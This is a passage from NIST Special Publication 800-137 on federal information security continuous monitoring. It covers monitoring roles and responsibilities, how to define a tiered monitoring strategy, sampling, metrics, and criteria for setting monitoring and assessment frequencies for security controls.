the effectiveness of the technologies is compromised, and the security of the systems and the mission/business or organizational processes supported by those systems is put in jeopardy. Automation makes security- related information readily available in an environment where ongoing monitoring needs change. Therefore, during security control implementation (RMF Step 3), consideration is given to the capabilities inherent in available technology to support ISCM as part of the criteria in determining how best to implement a given control. Consideration is given to ISCM tools that: • Pull information from a variety of sources ( i.e., assessment objects 22 • Use open specifications such as the Security Content Automation Protocol (SCAP); ); • Offer interoperability with other products such as help desk, inventory management, configuration management, and incident response solutions; • Support compliance with applicable federal laws, Executive Orders, directives, policies, regulations, standards, and guidelines ; • Provide reporting with the ability to tailor output and drill down from high- level, aggregate metrics to system -level metrics ; and • Allow for data consolidation into Security Information and Event Management (SIEM) tools and dashboard products. Automation supports collecting more data more frequently and from a larger and more diverse pool of technologies , people, processes, and environments . It can therefore make comprehensive, ongoing control of information security practical and affordable. How effective the organization is in utilizing the monitoring results (obtained in a manual or automated fashion) still depend s upon the organizational ISCM strategy, including validity and comprehensiveness of the metrics, as well as the processes in place to analyze monitoring results and respond to findings . Technologies for enabling automation of some ISCM tasks are discussed in greater detail in Appendix D . 2.4 ISCM ROLES AND RESPONSIBI LITIES This section describes the roles and responsibilities of key participants involved in an organization’s ISCM program. Widely varying missions and organizational structures may lead to differences in naming conventions for ISCM-related roles and how specific responsibilities are allocated among organizational personnel (e.g., multiple individuals filling a single role or one 22 See NIST SP 800 -53A, as amended, for information on assessment objects. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 14 individual filling multiple roles). Roles and responsibilities commonly a ssociated with ISCM include: Head of Agency. The agency head is likely to participate in the organization’s ISCM program within the context of the risk executive (function). Risk Executive (Function). The risk executive (function) oversees the organization’s ISCM strategy and program. The risk executive (function) reviews status reports from the ISCM process as input to information security risk posture and risk tolerance decisions and provides input to mission/business process and information s ystems tier entities on ISCM strategy and requirements; promotes collaboration and cooperation among organizational entities; facilitates sharing of security- related information; provides an organization- wide forum to consider all sources of risk; and ensu res that risk information is considered for continuous monitoring decisions. Chief Information Officer (CIO). The CIO leads the organization’s ISCM program. The CIO ensures that an effective ISCM program is established and implemented for the organization by establishing expectations and requirements for the organization’s ISCM program; working closely with authorizing officials to provide funding, personnel, and other resources to support ISCM; and maintaining high- level communications and working group relationships among organizational entities. Senior Information Security Officer (SISO). The SISO establishes, implements, and maintains the organization’s ISCM program; develops organizational program guidance (i.e., policies/procedures) for continuous monitoring of the security program and information systems; develops configuration management guidance for the organization; consolidates and analyzes POA&Ms to determine organizational security weaknesses and deficiencies; acquires or develops and maintains automated tools to support ISCM and ongoing authorizations; provides training on the organization’s ISCM program and process; and provides support to information owners/information system owners and common control providers on how to implement ISCM for their information systems. Authorizing Official (AO). The AO assumes responsibility for ensuring the organization’s ISCM program is applied with respect to a given information system. The AO ensures the security posture of the information system is maintain ed, reviews security status reports and critical security documents and determines if the risk to the organization from operation of the information system remains acceptable. The AO also determines whether significant information system changes require reauthorization actions and reauthorizes the information system when required. Information System Owner (ISO)/Information Owner/Steward . The ISO establishes processes and procedures in support of system -level implementation of the organization’s ISCM program. This includes developing and documenting a n ISCM strategy for the information system; participating in the organization’s configuration management process; establishing and maintaining an inventory of components associated with the information system; conducting security impact analyses on changes to the information system; conducting, or ensuring conduct of, assessment of security controls according to the ISCM strategy; preparing and submitting security status reports in accordance with organizational policy and procedures; conducting remediation activities as necessary to maintain system authorization; revising the system -level security control monitoring process as required; reviewing ISCM reports from common control Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 15 providers to verify that the common controls continue to provide adequate protection for the information system; and updating critical security documents based on the results of ISCM. Common Control Provider .23 Information System Security Officer (ISSO) . The ISSO supports the organization’s ISCM program by assisting the ISO in completing ISCM responsibilities and by participating in the configuration management process. The common control provider establishes processes and procedures in support of ongoing monitoring of common controls. The common control provider develops and documents a n ISCM strategy for assigned common controls; participates in the organization’s configuration management process; establishes and maintains an inventory of components associated with the common controls; conducts security impact analyses on changes that affect the common controls; ensures security controls are assessed according to the ISCM strategy; prepares and submits security status reports in accordance with organizational policy/procedures; conducts remediation activities as necessary to maintain common control authorization; updates/revises the common security control monitoring process as required; updates critical security documents as changes occur; and distri butes critical security documents to individual information owners/information system owners, and other senior leaders in accordance with organizational policy/procedures. Security Control Assessor . The security control assessor provides input into the types of security- related information gathere d as part of ISCM and assesses information system or program management security controls for the organization’s ISCM program. The security control assessor develops a security assessment plan for each security control ; submits the security assessment plan for approval prior to conducting assessments ; conducts assessments of security controls as defined in the security assessment plan ; updates the security assessment report as changes occur during ISCM; and updates/revis es the security assessment plan as needed. Organizations may define other roles (e.g., information system administrator, ISCM program manager) as needed to support the ISCM process. 23 Organizations may have multiple common control providers. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 16 CHAPTER THREE THE PROCESS Defining an ISCM Strategy and Implementing an ISCM Program his chapter describes the process for develop ing an ISCM strategy and implement ing an ISCM program including activities at the organization, mission/business process, and information system s tiers. A well -designed ISCM strategy encompasses security control assessment, security status monitoring, and security status reporting in support of timely risk - based decision making throughout the organization. It also incorporates processes to assure that response actions are taken. An organization’s strategy for action based on the dat a collected is as important (if not more important) than collecting the data. The process for developing an ISCM strategy and implementing an ISCM program is as follows : • Define an ISCM strategy based on risk tolerance that maintains clear visibility into assets , awareness of vulnerabilities , up-to-date threat information , and mission/business impacts. • Establish an ISCM program determining metrics, status monitoring frequencies, control assessment frequencies, and an ISCM technical architecture. • Implement an ISCM program and collect the security-related information required for metrics, assessments, and reporting. Automate collection, analysis , and reporting of data where possible . • Analyze the data collected and Report findings, determining the appropriate response. It may be necessary to collect additional information to clarify or supplement existing monitoring data. • Respond to findings with technical, management , and operational mitigating activities or acceptance, transference/sharing, or avoidance/rejection. • Review and Update the monitoring program , adjusting the ISCM strategy and maturing measurement capabilities to increase visibility into assets and awareness of vulnerabiliti es, further enable data -driven control of the security of an organization’s information infrastructure , and increase organizational resilience. This process is depicted below in Figure 3 - 1. T Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 17 Figure 3 -1. ISCM Process Risk tolerance, enterprise architecture, security architecture, security configurations, plans for changes to the enterprise architecture , and available threat information provide data that is fundamental to the execution of these steps and to ongoing management of information security- related risks. Security-related information is analyzed for its relevance to organizational risk management at all three t iers. The balance of this chapter discusses the process of ISCM, providing detail on topics not covered by existing guidelines and referencing existing guidelines where appropriate. Primary roles, supporting roles, expected inputs, and expected outputs are given for each process step as a guide. Roles and responsibili ties will vary across organizations as will implementation -level details of an ISCM program. 3.1 DEFINE ISCM STRATEGY Effective ISCM begins with development of a strategy that addresses ISCM requirements and activities at each organizational tier (organizati on, mission/business processes, and information systems). Each tier monitors security metrics and assesses security control effectiveness with established monitoring and assessment frequencies and status reports customized to support tier- specific decision making. Policies, procedures, tools, and templates that are implemented from Tiers 1 and 2 , or that are managed in accordance with guidance from Tiers 1 and 2, best support shared use of data within and across tiers. The lower tiers may require informatio n in addition to that required at higher tiers and hence develop tier -specific strategies that are consistent with those at higher tiers and still sufficient to address local tier requirements for decision making. Depending on the organization, there may be overlap in the tasks and activities conducted at each tier. The guidelines below, though not prescriptive, helps to ensure an organization- wide approach to ISCM that best promotes standardized methodologies and consistent practices and hence Maps to risk tolerance Adapts to ongoing needs Actively involves managementContinuous Monitoring Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 18 maximizes efficiencies and leveragability of security -related data. As changes occur, the ISCM strategy is reviewed for relevanc e, accuracy in reflecting organizational risk tolerances, correctness of measurements, and applicability of metrics. An inherent part of any ISCM strategy is the inclusion of criteria describing the conditions that trigger a review or update of the strategy, in addition to the preestablished frequency audit . Likewise, the organization defines criteria and procedures for updating the ISCM program based on the revised ISCM strategy . 3.1.1 ORGANIZATION (TIER 1) AND MISSION /BUSINESS PROCESSES (TIER 2) ISCM STRATEGY The risk executi ve (function) determines the overall organizational risk tolerance and risk mitigation strategy at the organization tier.24 When developed a t Tiers 1 and/or 2, the following policies, procedures , and templates facilitate organization- wide, standardized processes in support of the ISCM strategy: The ISCM strategy is developed and implemented to support risk management in accordance with organizational risk tolerance. While ISC M strategy, policy, and procedures may be developed at any tier, t ypically, the organization- wide ISCM strategy and associated policy are developed at the organization tier with general procedures for implementation developed at the mission/business processes tier. If the organization- wide strategy is developed at the mission/business processes tier, Tier 1 officials review and approve the strateg y to ensure that organizational risk tolerance across all missions and business processes has been appropriately considered. This information is communicated to staff at the mission/business processes and information systems tiers and reflected in mission/business processes and information systems tier strategy, policy, and procedures. • Policy that defines key metrics; • Policy for modification s to and maintenance of the monitoring strategy; • Policy and procedures for the assessment of security control effectiveness (common, hybrid, and system -level controls) ; • Policy and procedures for security status monitoring; • Policy and procedures for security status reporting (on control effectiveness and status monitoring) ; • Policy and procedures for assessing risks and gaining threat information and insights; • Policy and procedures for configuration management and security impact analysis ;25 • Policy and procedures for implementation and use of organization- wide tools; • Policy and procedures for establishment of monitoring frequencies; • Policy and procedures for determining sample sizes and populations and for managing object sampling; • Procedures for determining security metrics and data sources; 24 See NIST SP 800 -39, as amended, for a discussion of the risk executive (function) roles and responsibilities. 25 See NIST SP 800 -128, as amended, for more information on security- focused conf iguration management. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 19 • Templates for assessing risks; and • Templates for security status reporting (on control effectiveness and status monitoring) . Policy, procedures , and templates necessarily address manual and automated monitoring methodologies. Additionally at these tiers, organizations establish policy and procedures for training of personnel with ISCM roles. This may include training on management and use of automated tools (e.g., establishing baselines and tuning of measurements to provide accurate monitoring of operational environments). It may also include training for recognition of and appropriate response to triggers and alerts from metrics indicating risks beyond acceptable limits, as well as training on internal or external reporting requirements. This training may be included in existing role -based training requirements for those with significant security roles, or it may consist of training specifically focused on implementation of the organization’s ISCM policy and procedures. When implementing policies, procedures , and templates developed at higher tiers, lower tiers fill in any gaps related to their tier -specific processes . Decisions and activities by Tier 1 and 2 officials may be constrained by things such as mission/business needs, limitations of the infrastructure (including the human components), immutable governance policies , and external drivers. Primary Roles : Risk Executive ( Function), Chief Information Officer, Senior Information Security Officer, Authorizing Officials Supporting Roles : Information System Owner/Common Control Provider Expected Input : Organizational risk assessment and current risk tolerance, current threat information, organizational expectations and priorities, available tools from OMB lines of business and/or third -party vendors Expected Output : Updated information on organizational risk tolerance, organization- wide ISCM strategy and associated polic y, procedures, templates, tools 3.1.2 INFORMATION SYSTEM (TIER 3) ISCM STRATEGY The system -level ISCM strategy is developed and implemente d to support risk management, not only at the information systems tier, but at all three tiers in accordance with system and organizational risk tolerance . Although the strategy may be defined at Tiers 1 or 2, system - specific polic y and procedures for implementation may also be developed at Tier 3 . System-level security-related information includes assessment data pertaining to system-level security controls and metrics data obtained from system-level security controls. System owners establish a system - level strategy for ISCM by considering factors such as the system’s architecture and operational environment , as well as organizational and mission- level requirements,26 System-level ISCM addresses monitoring security control s for effectiveness (assessment s), monitoring for security status, and reporting findings. At a minimum, all security controls , including common and hybrid controls implemented at the system level, are assessed for policy, procedures , and templates . 26 The ISCM strategy is designed , in part, to help ensure that compromises to the security architecture are managed in a way to prevent or minimize impact on business and mission functions . Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 20 effectiveness in accordance wit h the system security plan and the methods described in NIST SP 800-53A, as amended . System owners determine assessment frequencies of security controls based on drivers from all three tiers. A full discussion of factors to consider when determining assessment and monitoring frequencies can be found in Section 3.2.2. System-level security - related information is used to determine security status at all three tiers. Use of system -level security-related information in metrics for determining security sta tus is addressed in Section 3.2.1. The ISCM strategy at the information systems tier also supports ongoing authorization. Ongoing authorization implies recurring updates to the authorization decision information in accordance with assessment and monitoring frequencies. Assessment results from monitoring common controls implemented and managed at the organization or mission/business process tier may be combined with information generated at the information systems tier in order to provide the authorizing official ( AO) with a complete set of independently -generated evidence. 27 Primary Roles : Information System Owner/Common Control Provider, Information System Security Officer Assessment evidence obtained from ISCM is, at a minimum, provided to AOs as often as required by organizational policy. Supporting Roles : Senior Information Security Officer, Authorizing Official, Security Control Assessor Expected Input : Organizational risk tolerance information, organizational ISCM strategy, policy, procedures , templates, system -specific threat information, and system information (e.g., System Security Plan, Security Assessment Report, Plan of Action and Milestones, Security Assessment Plan, System R isk Assessment , etc. 28 Expected Output : System-level ISCM strategy that complements the Tier 1 and 2 strategies and the organizational security program and that provides security status information for all tiers and real-time updates for ongoing system authorization decisions as directed by the organizational ISCM strategy ) 3.1.3 PROCESS ROLES AND RE SPONSIBILITIES Tiers 1 and 2 officials have responsibilities throughout the ISCM process, including, but not limited to, the following: • Provide input to the development of the organizational ISCM strategy including establishment of metrics, policy, and procedures, compiling and correlating Tier 3 data into security-related information of use at Tiers 1 and 2, policies on assessment and monitoring frequencies, and provisions for ensuring sufficient depth and coverage when sampling methodologies are utilized [ ISCM steps: Define, Establish, Implement]. 27 See NIST SP 800 -53, CA-2, Control Enhancement 1 , for specific assessor independence requirements. Assessors need only be independent of the operation of the system. They may be from within the organizational tier, the mission/business tier, or from within some other independent entity internal or external to the organization. Results of assessments done by system operators can be used if they have been validated by independent assessors. 28 This system information is an outcome of the RMF. Electronic standardized templates and document management systems readily support frequent updates with data generated by continuous monitoring program s. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 21 • Review monitoring results (security-related information) to determine security status in accordance with organizational polic y and definitions [ ISCM step: Analyze/Report] . • Analyze potential security impact to organization and mission/business process functions resulting from changes to information systems and their environments of operation, along with the security impact to the enterprise architecture resulting from the addition or removal of information systems [ ISCM step: Analyze/Report] . • Make a determination as to whether or not current risk is within organizational risk tolerance levels [ISCM steps: Analyze/Report, Review/Update] . • Take steps to respond to risk as needed (e.g., request new or revised metrics , additional or revised assessments, modifications to existing common or PM security controls , or additional controls) based on the results of ongoing monitoring activities and assessment of risk [ISCM step: Respond]. • Update relevant security documentation [ ISCM step: Respond]. • Review new or modified legislation, directives, policies, etc. , for any changes to security requirements [ ISCM step: Review/Update] . • Review monitoring results to determine if organizational plans and polices should be adjusted or updated [ ISCM step: Review/Update]. • Review monitoring results to identify new information on vulnerabilities [ ISCM step: Review/Update] . • Review information on new or emerging threats as evidenced by threat activities present in monitoring results, threat modeling (asset - and attack -based), classified and unclassified threat briefs, USCERT reports , and other information available through trusted sources, interagency sharing, and external government sources [ ISCM step: Review/Update] . Tier 3 officials have responsibilities throughout the ISCM process including, but not limited to, the following: • Provide input to the development and implementation of the organization- wide ISCM strategy along with development and implementation of the system level ISCM strategy [ISCM steps: Define, Establish, Implement; RMF Step : Select]. • Support planning and implementation of security controls, the deployment of automation tools, and how those tools interface with one another in support of the ISCM strategy [ISCM step: Implement; RMF Step : Select]. • Determine the security impact of changes to the information system and its environment of operation, including changes associated with commissioning or decommissioning the system [ISCM step: Analyze/Report ; RMF Step: Monitor]. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 22 • Assess ongoing security control effectiveness [ ISCM step: Implement ; RMF Steps: Assess,29 • Take steps to respond to risk as needed (e.g., request additional or revised assessments , modify existing security controls , implement additional security controls , accept risk, etc.) based on the results of ongoing monitoring activities, assessment of risk, and outstanding items in the plan of action and milestones [ ISCM step: Respond; RMF Step: Monitor]. Monitor]. • Provide ongoing input to the security plan, security assessment report, and plan of action and milestones based on the results of the ISCM process [ISCM step: Respond; RMF Step: 6]. • Report the security status of the information system including the data needed to inform Tiers 1 and 2 metrics [ ISCM step: Analyze/Report ; RMF Steps: Assess, Monitor]. • Review the reported security status of the information system to determine whether the r isk to the system and the organization remains within organizational risk tolerances [ ISCM step: Analyze/Report ; RMF Steps: Authorize, Monitor ]. 3.1.4 DEFINE SAMPLE POPULA TIONS Organizations may find that collecting data from every object of every system within an organization may be impractical or cost -prohibitive. Sampling is a methodology employable with both manual and automated monitoring that may make ISCM more cost -effective. A risk with sampling is that the sample population may fail to capture the variations in assessment outcomes that would be obtained from an assessment of the full population. This could result in an inaccurate view of security control effectiveness and organizational security status. NIST SP 800 -53A, as amended, describes how to achieve satisfactory coverage when determining sample populations for the three named assessment methods: examine, interview , and test. The guidelines in NIST SP 800 -53A for basic, focused , and comprehensive testing 30 NIST 800 -53A provides guidelines to help address the general issue of sampling and particularly that of coverage. In selecting a sample population, the coverage attribute is satisfied through consideration of three criteria: addresses the need for a “representative samp le of assessment objects” or a “sufficiently large sample of assessment objects.” Statistical tools can be used to help quantify sample size. • Types of objects - ensure sufficient diversity of types of assessment objects ; • Number of each type - chose “enough” objects of each type to provide confidence that assessment of additional objects will result in consistent findings; and • Specific objects per type assessed - given all of the objects of relevance throughout the organization that could be assessed, include “enough” objects per type in the sample population to sufficiently account for the known or anticipated variance in assessment outcomes. 29 Prior to initial authorization, the system is not included in the organization’s continuous monitoring program. This reference to RMF 4 is relevant after the system becomes operational, and is passing through Step 4 in support of ongoing authorization. 30 See NIST SP 800 -53A, as amended, Appendix D. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 23 Sample measurements are summarized into a statistic (e.g., sample mean) and the observed value compared with the allowable value as represented by organizational risk tolerance. Statistics calculated using sampling can become less reliable predictors of the full population if the population is not randomly selected and if the sample size (i.e., objects to be tested) is small.31 As described in the NIST Engineering Statistics Handbook, when deciding how many objects to include in sample populations, the following are considered:32 • Desired information (what question will the measurements help answer); • Cost and practicality of making the assessment; • Information already known about the objects, organization, or operating environments; • Anticipated variability across the total population; and • Desired confidence in resulting statistics and conclusions drawn about the total population. Ways to achieve “increased” or “further increased grounds for confidence that a control is implemented correctly and operating as intended” across the entire organization include asking more targeted questions, increasing the types of objects assessed , and increasing the number of each type of object assessed. Organizations may also target specific objects for assessment in addition to the random sample, using the above criteria. However, sampling methods other than random sampling are used with care to avoid introducing bias. Automated data collection and analysis can reduce the need for sampling. Primary Roles : Information System Owner, Common Control Provider, Information System Security Officer, Security Control Assessor Supporting Roles : Risk Executive (Function), Author izing Official, Chief Information Officer, Senior Information Security Officer Expected Input : Organizational - and system -level policy and procedures on ISCM strategy, metrics, and the Security Assessment Plan updated with assessment and monitoring frequencies Expected Output : Security Assessment Plan documentation on acceptable sample sizes, security-related information 31 The Central Limit Theorem is a key theorem that allows one to assume that a statistic (e.g., mean) calculated from a random sample has a normal distribution (i.e., bell curve) regardless of the underlying distribution from which individual samples are being taken. For small sample sizes (roughly less than 30) , the normal distribution assumption tends to be good only if the underlying distribution from which random samples are being taken is close to normal. 32 For detailed information on selecting sample sizes, see http://www.itl.nist.gov/div898/handbook/ppc/section3/ppc333.htm . Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 24 3.2 ESTABLISH AN ISCM PR OGRAM Organizations establish a program to implement the ISCM strategy. The program is sufficient to inform risk -based decisions and maintain operations within established risk tolerances. Goals include detection of anomalies and changes in the organization’s environments of operation and information systems, visibility into assets, awareness of vulnerabilities, knowledge of threats, security control effectiveness, and security status including compliance. Metrics are designed and frequencies determined to ensure that information needed to manage risk to within organizational risk tolerances is available. Tools, technologies, and manual and/or automated methodologies are implemented within the context of an architecture designed to deliver the required information in the appropriate context and at the right frequencies. 3.2.1 DETERMINE METRICS Organizations determine metrics to be used to evaluate and control ongoing risk to the organization. Metrics , which include all the security -related information from assessments and monitoring produced by automated tools and manual procedures, are organized into meaningful information to support decision making and reporting requirements . Metrics should be derived from specific objectives that will maintain or improve security po sture. Metrics are developed for system-level data to make it meaningful in the context of mission/business or organizational risk management. Metrics may use security -related information acquired at different frequencies and therefore with varying data l atencies. Metrics may be calculated from a combination of security status monitoring, security control assessment data, and from data collected from one or more security controls. Metrics may be determined at any tier or across an organization. Some exampl es of metrics are the number and severity of vulnerabilities revealed and remediated, number of unauthorized access attempts , configuration baseline information, contingency plan testing dates and results , and number of employees who are current on awareness training requirements , risk tolerance thresholds for organizations, and the risk score associated with a given system configuration. As an example , a metric that an organization might use to monitor status of authorized and unauthorized components on a network could rely on related metrics such as physical asset locations, logical asset locations (subnets/Internet protocol ( IP) addresses), media access control (MAC) addresses, system association, and policies/procedur es for network connectivity. The metrics would be refreshed at various frequencies in accordance with the ISCM strategy. The metrics might be computed hourly, daily, or weekly. Though logical asset information might change daily, it is likely that policies and procedures for network connectivity will be reviewed or revised no more than annually. These metrics are informative only and are not recommended metrics. They are included to assist in explaining the concept of metrics as they are applied across tiers. Organizati ons define their own metrics and associated monitoring frequencies. In order to calculate metrics , associated controls and/or their objects are assessed and monitored with frequencies consistent with the timing requirements expressed in the metric. It should be noted that metrics are fundamentally flawed without assurance that all security controls are implemented correctly. Metrics are defined or calculated in accordance with output from the security architecture. Collecting metrics from a security archi tecture with security controls that have not been assessed is equivalent to using a broken or uncalibrated scale. The interpretation of metrics data presumes that controls directly and indirectly used in the metric calculation are implemented and working a s anticipated. If a metric indicates a problem, the root Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 25 cause could be any number of things. Without fundamental assurance of correct implementation and continued effectiveness of security controls that are not associated with the metric, the root cause analysis is going to be hampered , and the analysis may be inappropriately narrowed to a predetermined list, overlooking the true problem. For detailed information on establishing metrics, see NIST SP 800 -55, as amended . Primary Roles : Risk Executive (Function), Chief Information Officer, Senior Information Security Officer Supporting Roles : Authorizing Officials, Information System Owner/Common Control Provider Expected Input : Organizational risk assessment, organizational risk tolerance, current threat information, reporting requirements, current vulnerability information Expected Output : Established metrics to convey security status and security control effectiveness at all three tiers, and to give recipients/users of reports visibility into assets, awareness of vulnerabilities , and knowledge of threats 3.2.2 ESTABLISH MONITORING AND ASSESSMENT FREQU ENCIES Determining frequencies for security status monitoring and for security control assessments are critical functions of the organization’s ISCM program. For some organizations, dashboards and ongoing assessments are a shift away from the model of complete security control assessments conducted at a distinct point in time. For this shift to be constructive and effective from security, assurance, and resource use perspectives, organizations determine the frequencies with which each security control or control element is assessed for effectiveness and the frequencies with which each metric is monitored. Security control effectiveness across a tier or throughout the organization can itself be taken as a security metric and as such may have an associated status monitoring frequency. Though monitoring and assessment frequencies are determined for each individual metric and control, organizations use this data of d ifferent latencies to create a holistic view of the security of each system as well as a view of the security of the enterprise architecture. As the monitoring program matures, monitoring and assessment frequencies are important in the context of how the data is used and the question When did the system receive authorization to operate ? will become less meaningful than How resilient is the system ? Considerations in D etermining Assessment and M onitoring Frequencies . Organizations take the following criteria into consideration when establishing monitoring frequencies for metrics or assessment frequencies for security controls: • Security control volatility. Volatile security controls are assessed more frequently , whether the objective is establishing security control effectiveness or supporting calculation of a metric. 33 33 Security control volatility is a measure of how frequently a control is likely to change over time subsequent to its implementation. Controls in the NIST SP 800 -53 Configuration Management (CM) family are a good example of volatile controls . Information system configurations typically experience high rates of change. Unauthorized or unanalyzed changes in the system configuration often render the system vulnerable to exploits. Therefore, corresponding controls such as CM -6, Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 26 Configuration Settings, and CM -8, Information System Component Inventory, may require more frequent assessment and monitoring, preferably using automated, SCAP -validated tools that provide alerts and status on demand. Conversely, controls such as PS -2, Position Categorization, or PS -3, Personnel Screening, (from the NIST SP 800 -53 Personnel Security family of controls) are not volatile in most organizational settings. They tend to remain static over long periods and would therefore typically require less frequent assessment. • System categorizations/impact levels . In general, security controls implemented on systems that are categorized as high -impact are monitored more frequently than controls implemented on moderate -impact systems, which are in turn monitored more frequently than controls implemented on low -impact systems.34 • Security controls or specific assessment objects providing critical functions . Security controls or assessment objects that provide critical security functions (e.g., log management server, firewalls) are candidates for more frequent monitoring. Additionally, individual assessment objects that support critical security functions and/or are deemed critical to the system (in accordance with the Business Impact Analysis 35 • Security controls with identified weaknesses. Existing risks documented in security assessment report s (SARs) are considered for more frequent monitoring to ensure that risks stay within tolerance. Similarly, controls documented in the POA&M as having weaknesses are monitored more frequently until remediation of the weakness is complete. Note that not all weaknesses require the same level of monitoring. For example, weaknesses deemed in the SAR to be of minor or low -impact risk to the system or organization are monitored less frequently than a weakness with a higher -impact risk to the system or organization. ) or to the organization may be candidates for more frequent monitoring. • Organizational risk tolerance. 36 • Threat information . Organizations consider current credible threat information, including known exploits and attack patterns, Organizations with a low tolerance for risk (e.g., organizations that process, store, or transmit large amounts of proprietary and/or personally identifiable information (PII), organizations with numerous high- impact systems , organizations facing specific persistent threats) monitor more frequently than organizations with a higher tolerance for risk (e.g., organizations with primarily low - and moderate -impact systems that process, store, or transmit very little PII and/or proprietary information). 37 • Vulnerability information . when establishing monitoring fr equencies. For instance, if a specific attack is developed which exploits a vulnerability of an implemented technology, temporary or permanent increases to the monitoring frequencies for related controls or metrics may help provide protection from the thre at. 38 34 System impact levels are in accordance with FIPS 199 and NIST SP 800- 60. Organizations consider current vulnerability information with respect to information technology products when establishing monitoring frequencies. For 35 See NIST SP 800 -34, as amended, Contingency Planning Guide for Federal Information Systems, May 2010. 36 See NIST SP 800 -39, as amended, for more information on how to determine organizational risk tolerance. 37 Attack patterns describe common methods for exploiting software, based on in- depth analysis of specific real - world attack examples. For more information, see the Common Attack Pattern Enumeration and Classification (CAPEC) site at http://capec.mitre.org/ . 38 For current vulnerability information, see http://www.kb.cert.org/vuls and http://nvd.nist.gov/ . Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 27 instance, if a specific product manufacturer provides software patches monthly, an organization might consider conducting vulnerability scans on that product at least that often. • Risk assessment results. Results from organizational and/or system -specific assessments of risk (either formal or informal) are examined and taken into consideration when establishing monitoring frequencies. For instance, if a system -specific risk assessment identifies potential threats and vulnerabilities related to nonlocal maintenance (NIST SP 800 -53, MA-4), the organization considers more frequent monitoring of the records kept on nonlocal maintenance and diagnostic activities. If a risk scoring scheme is in place at the organization, the risk scores may be used as justificat ion to increase or decrease the monitoring frequencies of related controls. • Output of monitoring strategy reviews . Review and adjustment of the monitoring strategy is covered in detail in Section 3.6. • Reporting requirements . Reporting requirements do not drive the ISCM strategy but may play a role in the frequency of monitoring. For instance, if OMB policy requires quarterly reports on the number of unauthorized components detected and corrective actions taken, the organization would monitor the system for unauthorized components at least quarterly. Organizations focus on obtaining the data required at the determined frequencies and deploy their human and capitol resources accordingly. As automation capability or resources are added, organizations may consider increasing affected monitoring frequencies. Similarly, if resource availability decreases, the organization considers adjusting affected monitoring frequencies to ensure that security -related information is appropriately analyzed while continuing to meet organizational risk management requirements. Many security controls in the NIST SP 800 -53 catalog have multiple implementation requirements along with control enhancements that may also have multiple implementation requirements. It may be necessary to assess or monitor individual control requirements and/or control enhancements within a given control with differing frequencies. For instance, the control AC-2, Account Management, has ten separate requirements (a. through j.) within the base control and four control enhancements [(1) through (4)]. The monitoring frequenc y may vary for each requirement in accordance with the consideration s discussed. For example, AC-2a involves the identification of account types. For a typical information system, once the account types have been identified and documented, they are not likely to change very often. For this reason, AC -2a is a candidate for relatively infrequent assessment. AC-2h involves the deactivation of temporary accounts and accounts of terminated or transferred users. Since personnel regularly come and go, a typical organization would most likely assess AC -2h on a more frequent basis than AC -2a. AC- 2 (3) requires that the system automatically disable accounts after a specified time period of inactivity. As an automated control and one with typically high volatility, AC -2 (3) is a candidate for relatively frequent monitoring and also may serve to automate some of the base control requirements so that they can be monitored more frequently in accordance with the organizational ISCM strategy. Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 28 Organization and Mission/ Business Processes T iers. At the mission/business processes tier, the organization establishes the minimum frequency with which each security control or metric is to be assessed or monitored. Frequencies are established across all organizational systems and common controls based on the criteria described above in this section. Common, hybrid, and system -specific security controls are addressed by organization and mission/business processes tier policy and procedures. Common controls are often inherited by a large number of organizational systems. The aggregate criticality of such controls may require more frequent assessments than would similar controls responsible for protecting a single system. Additionally, determining the frequency for assessing common controls includes the organization’s determination of the trustworthiness of the common control provider. Common controls that are process -related (e.g., procedures/templates, PM controls) do not tend to be volatile and typically do not lend themselves well to automation. Still, the organization considers the volatility of such controls as well as related threat information when establishing assessment frequencies. Primary Roles : Chief Information Officer, Senior Information Security Officer Supporting Roles : Risk Executive (Function), Authorizing Officials , Common Control Provider, Information System Owner Expected Input : Organizational risk assessment, organizational risk tolerance, current threat information, reporting requirements, current vulnerability information, output from monitoring strategy reviews Expected Output : Organization- wide policies and procedures, recommended frequencies with which each security control and metric is assessed or monitored Information S ystem s Tier. At the information systems tier, system owners review the minimum monitoring/assessment frequencies established by organization and/or mission/business processes tier policy and determine if the minimum frequencies are adequate for a given information system. For some information system s, it may be necessary to assess specific controls or metrics with greater frequency than prescribed by the organization, again based on the criteria described above in this section. System owners also consider identification of specific system components that may require more frequent monitoring than other system components (e.g., public -facing servers, boundary protection devices , components deemed critical in the Business Impact Analysis ). Primary Roles : Information System Owner, Information System Secur ity Officer Supporting Roles : Authorizing Official, Senior Information Security Officer, Information Owner/Steward Expected Input : Organizational strategy and procedures with minimum frequencies, current threat information, reporting requirements, current vulnerability information, output from monitoring strategy reviews , security assessment plans Expected Output : Security assessment plans updated to reflect the frequency with which each system-specific security control is assessed and metrics are monitor ed Special Publication 800- 137 Information Security Continuous Monitoring for Federal Information Systems and Organizations PAGE 29 Event-Driven Assessments. Events may occur that trigger the immediate need to assess security controls or verify security status outside of requirements expressed in the ISCM strategy. This may require an assessment that is unplanned, but of the type defined in the ISCM strategy or a customized assessment tailored to address an emerging need (e.g., a change in planned assessment or monitoring frequency). For example, if a Web application is added to a system, an existing ISCM process that includes configuration management and control, SIA, developmental vulnerability scans, etc., may be sufficient to assess controls implemented for the new Web application. When defining criteria for event -driven assessments, organizations consider events such as incidents, new threat information, significant changes to systems and operating environments, new or additional mission responsibilities, and results of a security i mpact analysis ( SIA) or assessment of risk. Depending on the significance of the event, an event -driven assessment may trigger one or more system reauthorizations. Primary Roles : Information System 